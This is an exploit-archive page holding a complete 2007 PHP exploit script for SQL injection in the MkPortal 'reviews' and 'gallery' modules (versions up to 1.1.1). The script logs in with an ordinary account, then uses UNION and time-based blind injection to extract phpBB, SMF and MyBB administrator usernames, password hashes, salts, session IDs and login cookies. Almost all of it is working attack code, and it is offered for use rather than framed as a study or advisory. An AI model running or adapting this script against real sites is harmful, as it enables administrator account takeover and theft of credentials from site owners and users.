Home / exploits

PDF

mkportal-sql.txt

Posted on 13 July 2007

<?php

/*
[i] MkPortal "reviews" and "gallery" modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal <= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids

[Notes]
At this time MkPortal 1.1.1 is the latest stable release
Currently implemented: phpbb, smf and mybb
*/


$exptime = 3600;
$stcnt = 300000;
$maxnull = 5;

$opts = getopt("u:U:P:f:m:d:o:");

$vars = array ( "phpbb", "1 UNION SELECT %s FROM phpbb_users WHERE user_id=2",
"phpbb_sid", "1 UNION SELECT %s FROM phpbb_sessions WHERE session_user_id=2 ORDER BY descrizione DESC LIMIT 1",
"smf", "1 UNION SELECT %s FROM smf_members WHERE ID_MEMBER=1",
"mybb", "1 UNION SELECT %s FROM mybb_users WHERE uid=1",
);


print
"[i] MkPortal "reviews" and "gallery" modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal <= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids

";


if ($opts[u] == '')
die(help($argv[0]));

if (!strncmp($opts[u], "http", 4))
$url = $opts[u];
else
$url = "http://".$opts[u];

if ($opts[U])
$user = $opts[U];
if ($opts[P])
$pass = $opts[P];
if ($opts[f])
$forum = $opts[f];
if ($opts[m])
$met = $opts[m];
if ($opts[o])
$file = $opts[o];
if ($opts[d])
$dir = $opts[d];

$cookies = '';
$delay = $min = $max = $mid = 0;
$fld1 = $fld2 = '';

if (!$forum)
die("[X] You haven't specified any forum type!
");

echo "[+] Target: $url [$forum]

";

exploit();


function exploit_gallery ($f)
{
global $cookies, $url, $fld1, $fld2;
$sql = get_sql($f);
$str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
$req = sprintf($sql, $str);

$u = $url."index.php?ind=gallery&op=edit_file&iden=".urlencode($req);
$html = Send($u, NULL, $cookies);
if (strstr($html, "ERROR: Database error"))
die("[X] SQL Query Error.. probably wrong table prefix
");
else if (strstr($html, "<title>Error</title>"))
die("[X] This method failed. Try something else
");

$var1 = get_string($html,"name="titolo" value="",""");
$var2 = get_string($html,"name="descrizione" class="bgselect">","<");

return ($var1." ".$var2);
}

function get_delay ($cnt, $f, $u)
{
global $url, $cookies, $fld1, $fld2, $met;

$sql = get_sql($f);

if (strstr($met, "gallery"))
$str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
else
$str = $fld1;

$inj = sprintf($sql, $str);

if (strstr($inj, "ORDER BY")) {
list($base, $order) = explode("ORDER BY", $inj);
$inj = $base."AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,1,BENCHMARK(%d,MD5(31337))) ORDER BY". $order;
}
else
$inj .= " AND IF(ORD(SUBSTR(%s,%d,1))%s,1,BENCHMARK(%d,MD5(31337)))";

$req = sprintf($inj, $fld1, 1, "=1", $cnt);
$u .= urlencode($req);

$start = getmicrotime();
Send($u, NULL, $cookies);
$end = getmicrotime();

$delay = intval(10 * ($end - $start));
return $delay;
}

function get_normaldelay ($f, $u)
{
global $stcnt;

$na = get_delay(1,$f,$u);
$da = get_delay($stcnt,$f,$u);
$nb = get_delay(1,$f,$u);
$db = get_delay($stcnt,$f,$u);
$nc = get_delay(1,$f,$u);
$dc = get_delay($stcnt,$f,$u);

$mean_delayed = intval(($da + $db + $dc) / 3);
if ($mean_delayed < 2)
die("Failed. The Answer was too rapid, probably you have not enough privileges
");
return $mean_delayed;
}

function exploit_blind ($sql, $u, $field)
{
global $cookies, $stcnt, $delay, $min, $max, $mid;

$cnt = $stcnt * 4;

echo "[->] Trying to find value for '".$field."'
";

for ($i = 1; $i < 51; $i++) {
for ($j = $min; $j <= $max; $j++) {
if ($j == $mid)
$j = 97;
$req = sprintf($sql, $field, $i, "=$j", $cnt);
$ur = $u.urlencode($req);
$start = getmicrotime();
Send($ur, NULL, $cookies);
$end = getmicrotime();

$dtime = intval(10 * ($end - $start));
if ($dtime > ($delay * 2)) {
$out .= chr($j);
echo "[+] Current value for '".$field."' (".$i."): ".$out."
";
break;
}
if ($j == $max)
$i = 41;
}
}
if ($out)
echo "
[->] Found value for '".$field."': ".$out."

";
return $out;
}


function exploit_gallery_blind ($f)
{
global $fld1, $fld2, $url;

$str = "NULL,".$fld1.",".$fld2.",NULL,NULL";
$sql = get_sql($f);
$inj = sprintf($sql, $str);

$u = $url."index.php?ind=gallery&op=edit_file&iden=";

$var1 = exploit_init_blind($f, $u, $inj, $fld1);
$var2 = exploit_init_blind($f, $u, $inj, $fld2);

return ($var1." ".$var2);
}

function exploit_reviews ($f)
{
global $fld1, $fld2, $url;

$u = $url."index.php?ind=reviews&op=update_file&iden=";
$sql = get_sql($f);

$inj = sprintf($sql, $fld1);
$var1 = exploit_init_blind($f, $u, $inj, $fld1);

$inj = sprintf($sql, $fld2);
$var2 = exploit_init_blind($f, $u, $inj, $fld2);

return ($var1." ".$var2);
}

function exploit_init_blind ($f, $u, $inj, $field)
{
global $cookies, $delay, $fld1, $fld2, $mid;

if (strstr($inj, "ORDER BY")) {
list($base, $order) = explode("ORDER BY", $inj);
if ($mid == 58)
$inj = $base."AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,BENCHMARK(%d,MD5(31337)),1) ORDER BY". $order;
else
$inj = $base."AND IF(ORD(SUBSTR(%s,%d,1))%s,BENCHMARK(%d,MD5(31337)),1) ORDER BY". $order;
}
else {
if ($mid == 58)
$inj .= " AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,BENCHMARK(%d,MD5(31337)),1)";
else
$inj .= " AND IF(ORD(SUBSTR(%s,%d,1))%s,BENCHMARK(%d,MD5(31337)),1)";
}

echo "[->] Starting blind sql injection!
";

echo "[+] Getting standard response delay... ";
$delay = get_normaldelay($f,$u);
echo $delay."ds

";

$var = exploit_blind($inj, $u, $field);
if (strstr($f, "sid") && !$var)
die("[X] Probably there are more sid in the table.. so we cannot fetch it.. retry later.
");

return $var;
}

function get_data ($f)
{
global $met;

switch ($met) {
case 'reviews':
$res = exploit_reviews($f); break;
case 'gallery-blind':
$res = exploit_gallery_blind($f); break;
case 'gallery':
$res = exploit_gallery($f); break;
default:
die("[X] Invalid exploit method specified
");
}
return $res;
}

function phpbb_exploit ()
{
global $dir, $url, $user, $pass, $cookies, $forum, $exptime, $fld1, $fld2, $min, $max, $mid;

if ($user && $pass) {
echo "[+] Logging in... ";

$u = $url.$dir."login.php?login=true";
$post = "username=".$user."&password=".$pass."&redirec=portalhome&submit=Login";

$html = Send($u, $post, NULL, TRUE);

$lines = explode("
", $html);

foreach($lines as $line) {
if (strstr($line, "Set-Cookie") && strstr($line, "sid")) {
$cookies = get_string($line, "Set-Cookie: ", ";");
$c++;
}
}
if (!$cookies || $c < 2)
die("Failed
");
echo "Successfull

";
}

$fld1 = "username"; $fld2 = "user_password";
$min = 48; $max = 122; $mid = 58;

$res = get_data($forum);
list($auesr, $apwd) = explode(" ", $res);
if ($auser && strlen($apwd) == 32) {
owrite("
[+] Target: $url [$forum]
");
owrite("[->] Found admin username: '".$auser."'
");
owrite("[->] Found admin hash password: '".$apwd."'
");
}
else
die("[X] Failed to retrive informations
");

$fld1 = "session_id"; $fld2 = "session_time";
$max = 102;

$res = get_data($forum."_sid");
list($sid,$start) = explode(" ", $res);
if ($sid && strlen($sid) == 32) {
$t = (int) (time() - $start - $exptime);
if ($t >= 0)
echo "[!] Found admin sid ('".$sid."') but it should not be valid anymore
";
else
owrite("[->] Found admin sid: '".$sid."' valid for ~".abs($t)."s
");
}
else
echo "[!] No admin sid was found
";
}

function smf_exploit ()
{
global $user, $pass, $url, $dir, $cookies, $forum, $fld1, $fld2, $min, $max;

$base = 'a:4:{i:0;s:1:"1";i:1;s:40:"%s";i:2;i:1184000000;i:3;i:0;}';

if ($user && $pass) {
echo "[+] Logging in... ";

$u = $url.$dir."index.php?action=login2";
$post = "user=".$user."&passwrd=".$pass."&cookieneverexp=on&submit=Login";
$html = Send($u, $post, NULL, TRUE);

$lines = explode("
", $html);
foreach($lines as $line) {
if (strstr($line, "Set-Cookie") && !strstr($line, "PHPSESSID"))
$cookies = get_string($line, "Set-Cookie: ", ";");
}
if (!$cookies)
die("Failed
");
echo "Successfull

";
}

$fld1 = "passwd"; $fld2 = "passwordSalt";
$min = 48; $max = 102; $mid = 58;

$res = get_data($forum);
list($pwd,$salt) = explode(" ", $res);
if ($pwd && strlen($pwd) == 40 && strlen($salt) == 4) {
$pass = $pwd.$salt;
$pass = sha1($pass);
$cookie = sprintf($base, $pass);
list($cname) = explode("=", $cookies);
owrite("
[+] Target: $url [$forum]
");
owrite("[+] Found admin cookie '".$cname."': '".urlencode($cookie)."'
");
}
else
die("[X] Failed to retrive informations
");
}

function mybb_exploit ()
{
global $user, $pass, $url, $dir, $cookies, $forum, $fld1, $fld2, $min, $max, $mid;

if ($user && $pass) {
echo "[+] Logging in... ";

$u = $url.$dir."member.php";
$post = "username=".$user."&password=".$pass."&action=do_login&submit=Login";
$html = Send($u, $post, NULL, TRUE);

$lines = explode("
", $html);
foreach($lines as $line) {
if (strstr($line, "Set-Cookie") && !strstr($line, "PHPSESSID") && !strstr($line, "[last") && !strstr($line,
" sid=")) {
$cookies = get_string($line, "Set-Cookie: ", ";");
}
}
if (!$cookies)
die("Failed
");
echo "Successfull

";
}

$fld1 = "loginkey"; $fld2 = "username";
$min = 48; $max = 122; $mid = 91;

$res = get_data($forum);
list($key,$auser) = explode(" ", $res);
if ($key && strlen($key) == 50) {
$cookie = sprintf($base, $pass);
list($cname) = explode("=", $cookies);
owrite("
[+] Target: $url [$forum]
");
owrite("[+] Found admin cookie '".$cname."': '1_".$key."'
");
}
else
die("[X] Failed to retrive informations
");

$fld1 = "password"; $fld2 = "salt";

$res = get_data($forum);
list($apwd,$salt) = explode(" ", $res);
if ($apwd && strlen($apwd) == 32 && $salt && strlen($salt) == 8) {
owrite("[+] Found admin hash password: '".$apwd."'
");
owrite("[+] Found admin password salt: '".$salt."'
");
}
else
echo "[!] No admin sid was found
";
}

function exploit ()
{
global $forum;

switch ($forum) {
case 'phpbb':
phpbb_exploit(); break;
case 'smf':
smf_exploit(); break;
case 'mybb':
mybb_exploit(); break;
default:
die("Failed. Cannot handle this type of forum
");
}
}

function get_string ($str, $start, $end)
{
$res = substr($str, strpos($str, $start)+strlen($start),strpos(substr($str, strpos($str,
$start)+strlen($start),strlen($str)), $end));
return $res;
}

function get_sql ($var)
{
global $vars;

for ($i = 0, $j = 1; $vars[$i]; $i++, $j++) {
if ($vars[$i] == $var)
return $vars[$j];
}
}

function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}

function Send($url, $post_fields='', $cookie = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;

curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

if ($post_fields) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
}

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');

if(!empty($cookie))
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);

if($headers === TRUE)
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
else
curl_setopt ($ch, CURLOPT_HEADER, FALSE);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}

function owrite ($msg)
{
global $file, $debug;

echo $msg;

if ($file) {
if (!($h = fopen($file, 'ab')) && $debug) {
echo "[X] Cannot open '$file'
";
return;
}
if (fwrite($h, $msg) === FALSE && $debug)
echo "[X] Cannot write to '$file'
";
fclose($h);
}
}

function help ($prog)
{
print "[-] Usage: $prog
-u  <url>      -> Sets Target url
[-U] <user>     -> Your username
[-P] <hash>     -> Your password
[-f] <type>     -> Sets Forum type (phpbb, smf or mybb)
[-m] <method>   -> Which method do you want to use (gallery or reviews)
[-d] <dir>      -> Sets forum subdirectory
[-o] <file>     -> Writes results to a file
";
}

?>

 

TOP